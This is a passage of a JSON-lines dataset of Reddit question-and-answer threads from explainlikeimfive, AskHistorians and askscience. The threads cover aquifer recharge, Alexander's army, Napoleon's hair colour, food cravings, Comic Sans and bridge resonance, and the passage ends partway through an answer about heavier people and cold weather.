{"q_id": "27s7gi", "title": "why can't we engineer runoff from flash floods to go directly into the aquifer?", "selftext": "I live in San Antonio and we depend on the Edwards underground aquifer for our drinking water. There is a limited recharge zone where water can enter and replenish water stored there. There are even a number of cave-like holes where water can just pour in. Why can't we enlarge the existing holes or create new ones and then engineer all the run off from flash flooding to go directly into the aquifer increasing the benefit of short term rain storms?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/27s7gi/eli5_why_cant_we_engineer_runoff_from_flash/", "answers": {"a_id": ["ci3u2at", "ci3uwoa", "ci3vnse"], "score": [5, 2, 2], "text": ["I am not entirely familiar with your particular [aquifer](_URL_0_), but most are not like an underground lake. They are simply filling in the spaces between the particles in the ground - like a sponge - thus recharging would be made very difficult.", "You can engineer a flood plain for storing excessive runoff over an aquifer's recharge zone. But implementing it would require a lot of money to purchase and repurpose valuable land, since it is likely settled and farm land due to the access to the aquifer's water. ", "Did some research on the Edwards aquifer. Edwards is an artesian system, and it takes a long time for water to seep from the recharge zone, which is the uphill entry to the system, to the 'pressurized' portion, far down hill and deep in the earth's crust. A really long time. If you try to put water into the system anywhere else, all you really do is drill another well where water can come out; you have to put the water in uphill and let it seep down. \n\nStorm water runoff is a major problem in big cities with huge amounts of impervious surfaces. Not only does it not soak into the soil as it would in a natural environment, but it moves across the impervious surfaces very quickly. This leads to flash flooding, as too much water gets into streams and rivers too quickly and overloads the system. Many cities have built retainment structures that fill with water and try to prevent copious amounts from entering the natural systems too quickly, but  don't underestimate how much water can fall on a city in an average storm. I would be surprised, after a little reading on the Edwards and the problems San Antonio is having  with draining it too quickly, if there isn't already a system in place to collect some of the rain water and discharge it into the recharge zone during dry days so that the aquifer is constantly refilling. But again, there's a maximum speed that it can refill.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Aquifer"], [], []]}
{"q_id": "4nu0hx", "title": "By the time Alexander stopped in India, how many Macedonian soldiers did he have left?", "selftext": "And did he replace them with Persian, Indian, etc, soldiers?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4nu0hx/by_the_time_alexander_stopped_in_india_how_many/", "answers": {"a_id": ["d47ip0n", "d47lx4g"], "score": [25, 26], "text": ["According to Arrian Book 5 Section 14, Alexander himself personally commanded the infantry at the Battle of the Hydapses, \"numbering as it did not much under 6000 men\". \n\n\nOne section earlier you get a description of the arrangement of the infantry (Shield Bearers, Royal Guard, and then Regular Guard which I take to be phalanx, with Archers and Javelinmen on the flanks).", "I looked for an answer to this question last night and could not find a satisfactory answer, despite poking through virtually all the primary sources.  I think in this case, the answer is \"we don't really know exactly.\"  We know he left 10,000 infantry and some cavalry in Bactria when he departed on the campaign in *326, but it seems impossible to tell if the expedition force had been bolstered by recruits from his eastern conquests.  Specific numbers for Alexander's armies are a bit of a nightmare due to generally poor sources and his propensity to leave little pockets of armed force along his trail for founding cities, garrisons, etc.  The only specific numbers I could find for the campaign are those mentioned by swammeyjoe for Hydapses, and even those are questionable.  \n\nedit: 326, not 426.  In 426 the Macedonians were still a bunch of filthy barbarians preoccupied with their pretty horses while the Spartans and Athenians slugged it out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1mx7jn", "title": "why are sausages usually \"bent\" while hotdogs are \"straight\"", "selftext": "before or after cooking, a lot of sausages, especially quality cuts of mean tend to \"bend\" towards one direction. Why?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1mx7jn/eli5why_are_sausages_usually_bent_while_hotdogs/", "answers": {"a_id": ["ccdgjz3", "ccdm2uc"], "score": [10, 2], "text": ["Hot dogs are usually made from artificial casing, which is a straight tube. Other sausages are made from animal intestines, which are naturally curved. ", "Because hotdogs do not contain naturally occurring substances. THEY ARE AN ARTIFICIAL PROCESSED LIE."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5g0xw6", "title": "what happens to the stuff used to color soap when we lather it up?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5g0xw6/eli5_what_happens_to_the_stuff_used_to_color_soap/", "answers": {"a_id": ["daomryd"], "score": [19], "text": ["Pigments in soap are very weak and intended to not stick around long. When you get all lathered up, you're increasing the surface area of the soap by thousands and thousands of times due to all the bubbles. Because there is now a huge amount of surface with different optical properties, you are no longer able to see the dye. The dye is intended to be visible only when looking through quite a bit of the soap."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a4ygwt", "title": "what is the point of a pet deposit if you still have to pay for any damages, no matter how small?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a4ygwt/eli5_what_is_the_point_of_a_pet_deposit_if_you/", "answers": {"a_id": ["ebifmxw", "ebigmjs", "ebiuhcz"], "score": [14, 6, 3], "text": ["Generally deposits are for covering damages if the tenant just fucks off and doesn't pay for the damages he caused.", "Deposits are not protection for the renter, it is protection for the landlord. It is money set aside in case the tenant decides to just  up and vanish without paying break of lease fees, final rent, damages fees, etc. Also, most rental agreements only require you to pay for damages if they exceed the pet deposit. That deposit is used up first, so if there are only small damages you will not end up paying any. ", "Just like any deposit, it is a way to get the money UPFRONT rather than try and charge after the fact. If there were no security/pet deposits then the only way to collect damages after the tenant moved out would be to sue them in court. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2tgrzb", "title": "Are there any recorded individual cases of gigantism in animals?", "selftext": "I tried looking it up, but all the results show specific types of animals that have evolved to be bigger than their brethren. What I'm curious about is whether individual animals are sometimes affected by gigantism in the same way that humans occasionally are? \n\nCheers!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2tgrzb/are_there_any_recorded_individual_cases_of/", "answers": {"a_id": ["cnz4wya", "cnz96hk", "cnzaaxt", "cnzalr6"], "score": [496, 36, 64, 16], "text": ["Yes, animals can suffer from conditions like gigantism or acromegaly and many other endocrine disorders with similar physiological attributes. These types of disorders in both people and animals stem from abnormalities associated with hormone levels, particularly growth hormones and issues with the pituitary like rare injury, dysplasia, hyperplasia and tumour cells. The pituitary is a hormone secreting area found inside the brain. These conditions are usually genetic and heritable conditions in families. \n\nAs for why we may not see so many documented cases of gigantism in animals; this may relate to wild animals dying prematurely directly from their conditions or secondary disease. Predatory issues, i.e. being a target when you stand out in your animal herd due to impairment may be why, as basic examples. Domestic or industry animals may be euthanised humanely at a young age when morphological abnormalities are detected by owners or veterinarians, this is often done to prevent suffering. Essentially unfavourable traits like gigantism that may impair life in individuals are not so easily passed on as these animals may not get to reproduce for the aforementioned reasons.\n\nAs humans are the masters of selective breeding of animals and changing them for our needs, there are certain small scale examples where we have selected for traits which may be considered gigantism an example is broiler chickens in the meat industry being selectively bred for fast growth and big muscles. These animals or their relatives would have naturally had higher levels of growth hormones and we have chosen to breed more of those traits into our selected population.\n\nSource: I am a veterinary student but I'm sure there may be some other people out there with a better answer.\n\nEdit: If you want to do more research try terms like 'animal endocrine disorders', 'hypersomatotropisim' and 'acromegaly.' And I added examples of pituitary issues.\n\n\n_URL_0_", "Not gigantism per se, but a single gene mutation causing large growth of geckos.\n\nSuper giant leopard gecko: _URL_1_ \n\nNormal size gecko: _URL_0_", "Welp, it's not gigantism but Whippets subject to a [muscle-mass defect] are called [\"Bully Whippets.\"](_URL_1_)\n\n > Wendy was recently part of a genetics study done in the U.S. on mutation in the myostatin gene in whippets, which resemble greyhounds in appearance. The National Institute of Health study reported that whippets with one single defective copy of the gene have increased muscle mass that can enhance racing performance in the breed, known for speeds up to 60 kilometres an hour.\n\n > But whippets with two mutated copies of the gene become \"double-muscled,\" like Wendy. It has been seen before in one human, and also in mice, cattle and sheep, says the study.\n\nHere's a bull with what appears to be the [same disorder.](_URL_0_)\n\nHere's an article on a [rare occurrence in humans.](_URL_2_) ", "This is kinda in line with your thinking: [Belgian Blue cow](_URL_0_)\n\nNow gigantism might be subjective from a visual perspective, but from a scientific one, the creatures are an amazing study.  They pretty much have double muscles due to mutuatuons of the myostatin gene.  So while they may not be 10 foot tall cows, they may be 20-30% more muscular or heaviery than standard breeds. That would make them unique.  \n\nAnd give this mutation, imagine if scientists could manipulate human genes to produce similar adaptations.  We could be talking about a true Incredible Hulk (minus the green look).  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.com.au/books?id=NBTlAgAAQBAJ&amp;amp;amp;amp;pg=PA23&amp;amp;amp;amp;lpg=PA23&amp;amp;amp;amp;dq=gigantism+in+bovines&amp;amp;amp;amp;source=bl&amp;amp;amp;amp;ots=v0nfPlF31w&amp;amp;amp;amp;sig=hzxM-xpJZdUuy06v-YZxN1bbotE&amp;amp;amp;amp;hl=en&amp;amp;amp;amp;sa=X&amp;amp;amp;amp;ei=LzzDVIT6FISnmwXA_IJo"], ["http://minstervet.com/wp-content/uploads/2012/05/leopard-gecko-1.jpg", "http://www.leopardgecko.com/Websites/leopardgecko/Images/img1.gif"], ["https://s-media-cache-ak0.pinimg.com/736x/0f/77/4d/0f774d9d7233c1247e8c92a1e7241513.jpg", "http://www.zamzows.com/Documents%20and%20Settings/41/Site%20Documents/Blog/March%202009/Bully-Whippets.jpg", "http://www.nbcnews.com/id/5278028/ns/health-genetics/t/genetic-mutationturns-tot-superboy/"], ["http://en.m.wikipedia.org/wiki/Belgian_Blue"]]}
{"q_id": "9ewvzh", "title": "Why is learning something 1 hour every day for 20 days more effective than learning the same thing in 20 hours?", "selftext": "Is there any neuroscience/biological explanation as why the brain learns this way? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9ewvzh/why_is_learning_something_1_hour_every_day_for_20/", "answers": {"a_id": ["e5sfw26", "e5skjf9", "e5tfkxv"], "score": [18, 7, 3], "text": ["There are two (main) modes of learning, diffuse and focused. Focused is when your actively studying and picking up information, while diffuse is your subconscious working on the information and and integrating it with everything else you know. Your brain can only be in one or the other mode, so while you zone out watching TV or working your brain is actually learning the material better. I recommend doing the free course on Coursera called Learning how to learn, it helped me a lot.", "First, memory isn't just memory; there are many different types of memories, and the two we need to focus on to answer your question are long-term and short-term.\n\nWhen you first learn information, it is only in your short-term memory. The memory must be stored in long-term memory, and if is not, it is lost. This storage process occurs most prominently during the REM phase of sleep.\n\nIf you do something for 20 hours straight, you haven't given your brain time to rest and properly store what you've learned. Doing it for 1 hour over 20 days (with as many periods of sleep!) gives your brain plenty of opportunity to encode the information for easy recall in the future. This is thought to occur by the process of long-term potentiation, where repeated firing activity in a neuronal synapse strengthens the connectivity of the synapse. ", "A similar reason as to why a tree can't be watered for an entire  year in a single day, and has to be watered periodically over the course of a year.  When you start learning new information, your brain has to access  existing neuron clusters that store the perquisite information, for instance knowing the alphabet in order to read.  Then as you continue to learn your brain has store all the information that is beyond the prerequisite information in new neuron clusters which take time to form properly, if you consistently \"water your brain\" with information regarding the skill you are trying to acquire you build strong neural connections regarding the subject, if you try to \"over water your brain\", most of the information doesn't do the neural connections you're trying to establish any good and can even lead to mental fatigue and confusion rather than learning.\n\ntldr; Water your data structures or they will wither up and die"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3clo88", "title": "how can my dry cleaner sweep my shirts into a huge pile of other peoples shirts and get them back to me?", "selftext": "For the record I do not have any laundry marks on the collar", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3clo88/eli5_how_can_my_dry_cleaner_sweep_my_shirts_into/", "answers": {"a_id": ["cswrpwm", "cswzous"], "score": [3, 8], "text": ["They give you a ticket, the put a corresponding ticket on a button or button hole. Match number to clothing, boom. ", "HA.. Something I can answer as i have working knowledge of the system(s) that have been used in different companies.\n\nSource: My parents work shoe repair and do a delivery route with dry cleaners.  Going on 30 years now.\n\nIn the older mom-pop,  if you watch quickly,  what they will do is not so much dump them,  as fold it as on giant pile  with a ticket that has a number corresponding to the number of shirts down into the pile.  If you look,  you might see a common system [like this](_URL_0_). there are two numbers there,  the large easy read one tells you how many pieces in the pile,  while the smaller one is to identify the order.   One tag is put into the pile,  while one tag is attached to the customers main invoice.\n\nSo,  Top shirt is tagged with a 6,  Count 6 shirts down,  and that is all one customer.  Pants and other items are generally individually tagged as there are less of them.  before they go into the wash,  each shirt is then later tagged with what ever system the place uses to match to the master customer ticket.  \n\nIn newer/modern places,  they enter the number of items in the computer,  and the printer spits out the corresponding number of barecode labels.    These labels are specially designed to withstand the washing process.  \n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.strylenkoff.com/uploads/1/3/8/7/13871262/5945855.png?367"]]}
{"q_id": "6ylwe8", "title": "Bonaparte at the Pont d'Arcole shows Napoleon with blond hair. Other paintings show him with black hair. Did he dye his hair?", "selftext": "[Famous painting in question.](_URL_0_) There he's blond or brown-haired. Later pictures show Napoleon as [black-haired](_URL_1_).\n\nIs it just the lighting? Have the artist decided to paint him like that? Did he dye his hair? Was it a wig? Did men even dye their hair that way at the time? I'm used to seeing white-powdered hair and wigs but haven't seen them dying hair like that. Was there any significance to it, was it a thing of fashion?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6ylwe8/bonaparte_at_the_pont_darcole_shows_napoleon_with/", "answers": {"a_id": ["dmoxfd1"], "score": [5], "text": ["Multiple eyewitnesses described Napoleon's hair as being various shades of brown. The reason he is sometimes portrayed or described as having very dark or even black hair is that on occasion he applied a lot of pomade to his hair. \n\n\nDoctor Jean-Nicolas Corvisart in 1802: \n > His very fine chestnut hair, which, until the time of the expedition to Egypt, he had worn long, cut square and covering his ears, was clipped short.\n\n\nDennis Davidov at Tilsit in 1807: \n > None of the portraits that I had seen bore the least resemblance to him. Believing them, I had supposed that Napoleon sported a rather large hooked nose, dark eyes and dark hair... The hair on his head was not black, but dark reddish-blond; his eyebrows and eyelashes were much darker than the colour of his hair, and his blue eyes, set off by the almost black lashes, gave him a most pleasing expression. \n\n\nCaptain Ross of HMS Northumberland that took Napoleon to exile in 1815: \n > He is very sallow, with light grey eyes, and rather thin, greasy-looking brown hair, and altogether a very nasty, priestlike-looking fellow.\n\n\nLouis Antoine Fauvelet de Bourrienne at Napoleon's death bed: \n > The Emperor had intended his hair (which was of a chestnut colour) for presents to the different members of his family, and it was cut off and kept for this purpose.\n\n\nMany locks still exist and are various shades of brown with some gray strands. Bit hard to say what his original color was since over time the locks would have undergone some changes in color. In addition people tend be lighter haired in youth and then the hair goes darker with age."]}, "title_urls": [], "selftext_urls": ["https://upload.wikimedia.org/wikipedia/commons/a/ab/Gros%2C_Antoine-Jean%2C_baron_-_Napoleon_Bonaparte_on_the_Bridge_at_Arcole.jpg", "http://www.paintinghere.com/Uploadpic/Andrea%20I%20Appiani/big/Napoleon_%20King%20of%20Italy.jpg"], "answers_urls": [[]]}
{"q_id": "82nhje", "title": "why does singing sound good when you put together a group of bad singers? e.g. a fifth grade choir.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/82nhje/eli5_why_does_singing_sound_good_when_you_put/", "answers": {"a_id": ["dvbe15j", "dvbeu8p", "dvbgqpw", "dvbul0i", "dvd9cpn"], "score": [9, 11, 2, 3, 2], "text": ["Stronger singers can help lead the others. You literally listen in on people who know what they're doing and adjust. This does require a minimum of listening skills and musicality and of course some of the singers to be decent, but that's generally the case. It doesn't have to be however and smaller kids typically don't do it. Inexperienced singers in choirs also tend to make too much sound.", "It's all about \"blend\".  A good choir teacher will encourage their group to blend well so that there are no individuals that are way louder than others, and any of the \"not as good\" singers might be asked to sing a little softer to help with the blend.", "Basically if you've got a bunch of metronomes in a room, eventually they will all match up and tick at the same time. Your brain notices the resonance naturally and ignores the outlier noise. Sort of like if you had music playing in your kitchen and you just stopped listening to the hum of the fridge.", "Each member of the singing group will get most of the notes close enough to correct.  On average the close enough notes will end up being the correct note, and the individual wrong notes get drowned out.", "Others have expanded on it but piggybacking on it there is a famous experiment: \n\nThere is a jar, and in it 723 jelly beans. They invite 100 people into the room and they ask each one of them to guess how many jelly bean is in the jar. Individually they were off by many (one of them said 600 the other said 1000 and so on). But upon averaging all of their guesses the averaged resulr was incredibly accurate (likr 719 or so)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "77f0d9", "title": "sometimes you have the urge to eat sweet or salty stuff. is it because you lack a certain nutrient common in that food? (e.g. salt, sugar..)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/77f0d9/eli5_sometimes_you_have_the_urge_to_eat_sweet_or/", "answers": {"a_id": ["doldde9", "dolhohc", "dolo1e4", "dolt5p2", "dolti1d", "dolx2qm", "dolxx2l", "dom0m7d", "dom0x99", "dom1axm", "dom3bh1", "dom4ede", "dom4m86", "domeury", "domf8p6", "domin25", "domk59j", "domtcw1"], "score": [518, 59, 2, 8, 10, 4281, 13, 138, 3, 3, 6, 3, 17, 4, 4, 3, 3, 2], "text": ["Probably not, you may just be hungry. \n\nIn nature, salt and carbs were both important parts of a diet, and hard to come by. Humans have been naturally drawn to those flavors forever. This worked out really nicely (devour sweets whenever possible) until the advent of cheap, refined sugar. \n\nI don't think, though, that my desire for something salt and sweet is because I'm nutriontionally low on either salt or sugar. The opposite is probably true. ", "Your body craves salt if it\u2019s deficient in sodium. Sugar cravings are a whole other story. Everyone who eats products with glucose gets their blood sugar levels elevated and after a couple of hours the glucose levels plummet so you could say you\u2019re experiencing \u201csugar withdrawals\u201d and start craving sugar just like drugs. Oh! And your body doesn\u2019t need glucose to survive, it can survive just on protein and fats.", "When your body demands sugar, your body starts to shake.  \n\nCraving is just craving like the urge to smoke weed, play ball, or whatever your mind wants.  \n\nNot everybody craves sugar and salt, but many ppl lose their appetite for salt and sugar as they get older.  Has to do with health and body changes", "I am going to disagree with most posters. Sure I get a driving fixation for a chocolate or piece of hard candy, but I also get driving urgers for random crap I would never eat. Last week I could not stop thinking about broccoli and I despise broccoli...I ate Okra instead. I do find a correlation to bowel problems and cravings. If I've not had a movement in 3 days, I will start craving cereal\n\n", "In my case it's just because I'm fat.\n\nSeriously though, your body does sometimes get cravings for certain foods when you are not getting enough of a particular resource in your diet.  Just typically not salt or sugar.", "(assuming no-one's posted it already) [This short but colourful, fascinating animation](_URL_0_) explains it perfectly; it all boils down to each person's unique microbial colony intestinal bacteria which influence our brains into desiring a particular kind of food which the bacterial majority need for their own sustenance, growing or falling in number depending on whether you eat fatty, fast foods or healthy greens and shit.. anyway the video explains it *far* better. It's pretty in depth but still clear and comprehensible enough for your average Willy Loman or Joe Bloggs. Plus did I mention how awesome the animation style is? In 60FPS no less. I fucking love Kurzgesagt's videos.", "There's no one answer. It can be hormonal. High estrogen makes you crave sweet things like chocolate. ", "I may be misinformed but I believe it's because of the bacteria in your gut. They live and thrive off of what you eat. If you feed them processed sugars and other things of the sort some will begin to multiply and depend on those sugars, while others will thrive off the healthier foods you eat. Some aerobic some anaerobic. The difference being some can survive without oxygen (I'm foggy on this part) and the others depend on it. So in short, these bacteria in your gut cause you to crave these after you haven't had some for such a long time.", "There's actually a really cool video done by \"in a nutshell\" that may help to explain just what your asking. Basically, there are a bunch of different microorganisms in your body that each want certain types of nutrients. It is theorized that some of those microorganisms may be able to send your brain signals to crave certain types of food that give them nutrients.", "A little bit out of context:\n\nthere was a chart about what you should eat when you carve certain foods. And had explanations what means carving what food and what you need and how to fulfill that need the easiest. ", "What about salts? I often don't feel fed until I've eaten something salty.", "Salt hunger is the only one I'm aware of that has a direct physiological cause, and you probably aren't running into it in day to day life.  But if you are low enough on sodium, it will result in a distinct set of behaviors just like hunger and thirst do.\n\n_URL_0_", "It may be because you are under stress and experiencing emotional/stress eating.\n\nFrom - _URL_0_\n\n >  'Stress \u2013 Ever notice how stress makes you hungry? It\u2019s not just in your mind. When stress is chronic, your body produces as it so often is in our chaotic, fast-paced world, it leads to high levels of the stress hormone, cortisol. Cortisol triggers cravings for salty, sweet, and fried foods\u2014foods that give you a burst of energy and pleasure. The more uncontrolled stress in your life, the more likely you are to turn to food for emotional relief.'", "I have a similar question... I tend to crave sour and vinegary things.  I love fresh lemons, vinegary salads, douse Frank's Red Hot on just about everything, and sometimes even sip on a shot's worth of undiluted vinegar (various kinds).  My SO thinks this is really weird.  I've been doing this for many, many years, and I can never get enough it seems.\n\nIs there something wrong with me, or is this just a harmless preference?", "No. You are craving homeostasis. For example, insulin cures high cortisol levels so when you are stressed you crave quick carbs which will spike your insulin and relax your cortisol. ", "Human dietary habits were formed a million years ago in the forest. Salt is a rare commodity in nature, but we need it in our bodies, so we have developed a craving for it. Sugar is a high value food for hunter - gatherer tribes because of the caloric value. Now that these foods are abundant and easily available, which was not true in our evolutionary past, our bodies have not had enough time to evolve to deal with them properly and we tend to overeat them.", "For salt yes, but for sugar not. Because you need salt to survive and it isn't addictive, but sugar isn't essential, you can survive without it and it is very addictive. So your crqving for sugar is very different than your craving for salt.", "In some cases. I saw a story back when Discovery did real discovery type stuff about a guy stuck at sea for like 40 days on a raft. He was followed by a school of fish and was basically able to fish from the raft and get as much food as he needed and collected rainwater to drink. \n\nHe said after a certain time period of just eating the raw flesh of the fish, he started getting weird cravings, like he just really wanted to eat that fishes eyes. The show explained that when you're deficient in vitamins, you will get cravings to at least eat something different, if not foods with that specific missing ingredient."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://www.youtube.com/watch?v=VzPD009qTN4"], [], [], [], [], [], ["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4433288/"], ["https://www.helpguide.org/articles/diets/emotional-eating.htm"], [], [], [], [], []]}
{"q_id": "rig0a", "title": "why does everyone hate comic sans?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/rig0a/eli5_why_does_everyone_hate_comic_sans/", "answers": {"a_id": ["c462kjy", "c462lh1", "c462p2w", "c462poq", "c462xd8", "c463575", "c463afp", "c463os0", "c4643nc", "c4643yg", "c4644yz", "c46478u", "c4647a3", "c464gy0", "c464u8u", "c464zal", "c4655xm", "c465g4y", "c465hbb", "c466a19", "c466acr", "c466b7g", "c466xyy", "c4672yx", "c467v8e", "c467w2u", "c468zsh", "c4697a7", "c469rub", "c46ctde"], "score": [181, 118, 786, 55, 19, 21, 18, 9, 5, 2, 2, 56, 2, 2, 2, 3, 2, 2, 2, 3, 2, 3, 2, 2, 2, 2, 2, 3, 2, 2], "text": ["I think it probably stems from the fact it looks like something a five year old would use, unprofessional and such. Beyond that I think it's just something that's \"cool\" to hate, like Nickleback.", "The typical answer is that Comic Sans is used in inappropriate places (like warning signs or official documentation), and this misuse has spread to a general dislike of it.\n\nFor me, it's mostly that it's overused, period. It's shorthand for 'whimsical', but it is in fact just generic cheese.\n", "This should explain it both entertainingly and fiveyearoldishly.\n\n_URL_0_", "Geocities ruined it for everyone.", "Comics Sans was created to resemble comic book-style writing. A font that resembles a comic book isn't very professional.", "I refuse to join the hate-wagon for comic sans.  I teach elementary school and the font is MUCH easier for my kids to read.  ", "[This question has been asked an average of twice a month.](_URL_0_)", "Overexposure. There's nothing really objectionable about the font itself, although there are much better comic fonts available. It's packaged with Windows so it's widely available, and for that reason people use it for just about everything. All that exposure, plus the fact that it's easily identifiable, have lead to a backlash of sorts.", "Not only is it greatly misused, it's also just a [badly designed font](_URL_0_).", "It's the Devil's handwriting...\n", "This thread reminds me of the time I was up way to late and a documentary on Helvetica came on...and it was actually really good.", "[Previously on ELIF.](_URL_0_)\n\n[The best explanation I've seen.](_URL_1_)", "If you have to ask, you're streets behind.", "It looks like a 5 year old wrote it.", "Just look at it, man.", "I feel that the hatred is rather unjustified... I mean I would never type a college essay or resume in Comic Sans but I think it's perfectly appropriate for news / bulletin boards...", "This ELI5 question has been asked ***fifteen times*** already! Three times in the last month!", "[It's the comedy equivalent of Muzak and I despise it](_URL_0_)", "It is the first \"unique\" and \"fun\" font in the font drop down menu, which may further explain its overuse.", "It was meant specifically for a certain young-ish age group, but for no apparent reason it caught on everywhere and became ubiquitous. And then our \"too cool for anything mainstream\" hipster society (which is over represented on the internet) denounces it and it becomes a \"I can hate it more than you hate it\" circle jerk.\n\nWait, I think I'm a little late, aren't I supposed to be writing this in the \"why does the internet go out of its way to hate on Nickleback?\" ELI5 thread...", "I asked this here once, everyone got rather annoyed at me.\nThe Karma Gods bless you, Stevieo68.", "It's interesting that you submitted this to Explain Like I'm Five, because this question can be answered very simply and slightly ironically.\n\nComic Sans is hated because it looks stupid and is meant for children under the age of 5.", "Great question! There is actually a huge body of knowledge on this exact subject, particularly Paul Wal's writings.\n\nIt boils down to innate impulses in our communal survival strategy as a species. We humans are societal animals, and our propagation is largely thanks to this characteristic. There is safety in numbers; acting as a cohesive single unit makes for a powerful macro-organism that can dominate individual competitors and predators. \n\nTo maintain this single-mindedness we must outcast any individual that contradicts the hive. They must not be allowed to procreate (losers, douchebags) or even eat (hobos). Sometimes there are competing mob mentalities, and a battle of mass consciouses occurs in the ether of human interaction.\n\nFor instance, one fork of the human conscious likes to scribe certain glyphs in a specific manner. Another mentality, competing for dominance over the human macro-organism, has recognized these glyphs as part of a behavior pattern manifested by a 'tainted' or weak thought process. \n\nAnyone displaying any signs of thinking differently from you should be shamed, prevented from sharing in community feasts, and most importantly blocked from procreating. Also, fuck as many girls as possible to maximize the spread of your seed, kill infantile males not of your bloodline, and to hell with anyone who uses comic fucking sans.\n\nI hope this helps! PM me if you have any questions.", "I hate it because it's used inappropriately a lot of the time.  Also, it was intended to be a comic book-style font, but it's probably the worst font you could use for comic lettering.", "You might also want to see past [/r/ELI5](/r/ELI5) questions RE: Comic Sans: _URL_0_", "It's not so much a hate for the font, but it's excessive overuse. Seldom is the font used in a manner in which it's design was intended.", "Because Beanie Babies.", "They're jealous because [Comic Sans is the best thing to happen to typography since Johannes fucking Gutenberg.] (_URL_0_)", "It's the Nickelback of Fonts.", "A friend and fellow Redditor [wrote an extensive research paper on why people don't like comic sans](_URL_0_). But no 5 year old will understand it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.comicsanscriminal.com"], [], [], [], ["http://www.reddit.com/r/explainlikeimfive/search?q=comic+sans&amp;restrict_sr=on"], [], ["http://www.kadavy.net/blog/posts/why-you-hate-comic-sans/"], [], [], ["http://www.reddit.com/r/explainlikeimfive/search?q=comic+sans&amp;restrict_sr=on", "http://www.kadavy.net/blog/posts/why-you-hate-comic-sans/"], [], [], [], [], [], ["http://www.youtube.com/watch?v=IgfFyRGlUNo"], [], [], [], [], [], [], ["http://www.reddit.com/r/explainlikeimfive/search?q=comic+sans&amp;sort=top&amp;restrict_sr=on"], [], [], ["http://www.mcsweeneys.net/articles/im-comic-sans-asshole"], [], ["http://www.pastelegram.org/features/43"]]}
{"q_id": "85y323", "title": "how does an air ring stay together under water?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/85y323/eli5_how_does_an_air_ring_stay_together_under/", "answers": {"a_id": ["dw160dy"], "score": [2], "text": ["Hydrophobic interactions.\n\nAir is O2, CO2, N2, etc, all non-polar compounds/elements. Water, H2O is polar, and has polar interactions with other water. When air is released into water, the water doesn't form any sort of bond with it in terms of polarity, so the air rings maintain their shape. Water WANTS to form polar bonds, so it maintains them around hydrophobic materials. I'm sure someone with more chemistry background could answer more clearly, but thats the short answer."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a1auue", "title": "why do soldiers or marching bands never march in unison over a bridge?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a1auue/eli5_why_do_soldiers_or_marching_bands_never/", "answers": {"a_id": ["eao6kjx", "eao78ok", "eaod80o"], "score": [9, 3, 3], "text": ["If their marching occurs at the resonant frequency of the bridge, they could theoretically cause it to shake to pieces.", "If the marching tempo approaches the harmonics of the resonance frequency of the bridge they can cause it to shake to a degree that is uncomfortable for humans (see the millennium bridge in the UK). If they hit the exact frequency with enough force they can actually cause physical damage to the bridge and even collapse. ", "Marching in step puts the focuses the force of all those steps in one direction and at one time. This will usually cause the structure to flex a bit (unless it's massively larger than the people, like the ones built for automobile traffic). This sets up a frequency of oscillations/vibrations which can result in a resonant frequency. \n\nresonant frequency. If you repeatedly tap a swinging object at just the right moment it will swing farther and farther. Sort of like how children pump themselves higher and higher on a swing set.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "afrh55", "title": "are heavier people less susceptible to cold weather than skinnier people since they have more \"insulation\"?", "selftext": "Or does it not matter as the skin is the main receptor for cold sensations?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/afrh55/eli5_are_heavier_people_less_susceptible_to_cold/", "answers": {"a_id": ["ee0x6en", "ee0xc9a", "ee0xgmc", "ee0yqiu", "ee1dna6"], "score": [12, 15, 5, 5, 4], "text": ["Their core organs would be better insulated, yes.  They would have a larger thermal mass and retain more heat.  Unfortunately this sucks when they get hot because they would cool down more slowly.\n\nAs far as hot/cold perception, I have no idea.  They have more surface area for heat transfer, but I don\u2019t know whether that would affect perception.", "Actually, yes. You produce heat from your tissues, and lose heat from your skin. Fat people have a bit more skin but a lot more tissue, thus they have a higher mass:surface area ratio. Skinny people have a lot less tissue, but only a little less surface area. They produce a bit less heat but lose a lot more, proportionally, because they have a lower mass:surface area ratio. ", "I remember seeing a video related to this. They had two men sit in a freezer. One man was obese and one man was 